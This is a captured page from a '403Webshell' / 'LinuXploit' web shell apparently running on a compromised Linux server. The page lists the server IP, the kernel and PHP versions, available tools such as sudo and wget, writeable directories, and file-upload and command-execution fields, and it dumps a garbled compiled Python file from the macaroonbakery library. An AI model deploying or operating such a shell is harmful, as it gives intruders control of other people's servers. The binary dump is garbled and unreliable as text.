403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/macaroonbakery/checkers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/macaroonbakery/checkers/__pycache__/_time.cpython-310.pyc
o

�6�\��@s`ddlZddlmZddlmZddlmZmZddlm	Z	ed�Z
dd	�Zd
d�Zdd
�Z
dS)�N�)�
ContextKey)�parse_caveat)�COND_TIME_BEFORE�
STD_NAMESPACE)�condition_with_prefixztime-keycCs|dur|S|�t|�S)a! Returns a copy of ctx with a key added that associates it with the
    given clock implementation, which will be used by the time-before checker
    to determine the current time.
    The clock should have a utcnow method that returns the current time
    as a datetime value in UTC.
    N)�
with_value�TIME_KEY)�ctx�clock�r�?/usr/lib/python3/dist-packages/macaroonbakery/checkers/_time.py�context_with_clock
srcCs:d}|D]}t||j�}|dur|dus||kr|}q|S)a Returns the minimum time of any time-before caveats found in the given
    macaroons or None if no such caveats were found.
    :param ns: a Namespace, used to resolve caveats.
    :param ms: a list of pymacaroons.Macaroon
    :return: datetime.DateTime or None.
    N)�expiry_time�caveats)�ns�ms�t�m�etrrr
�macaroons_expiry_times�rc		Cs�|�t�}t|t�}d}|D]8}|��sq|j�d�}t|�\}}||kr&qztj	|dd�j
dd�}|dus:||kr<|}WqtyFYqw|S)au Returns the minimum time of any time-before caveats found
    in the given list or None if no such caveats were found.

    The ns parameter is
    :param ns: used to determine the standard namespace prefix - if
    the standard namespace is not found, the empty prefix is assumed.
    :param cavs: a list of pymacaroons.Caveat
    :return: datetime.DateTime or None.
    Nzutf-8T)�utc)�tzinfo)�resolverrr�first_party�caveat_id_bytes�decoder�	pyrfc3339�parse�replace�
ValueError)	r�cavs�prefix�time_before_condr�cav�name�restrrrr
r(s*

���r)r�
_auth_contextr�_caveatr�_conditionsrr�_utilsrr	rrrrrrr
�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit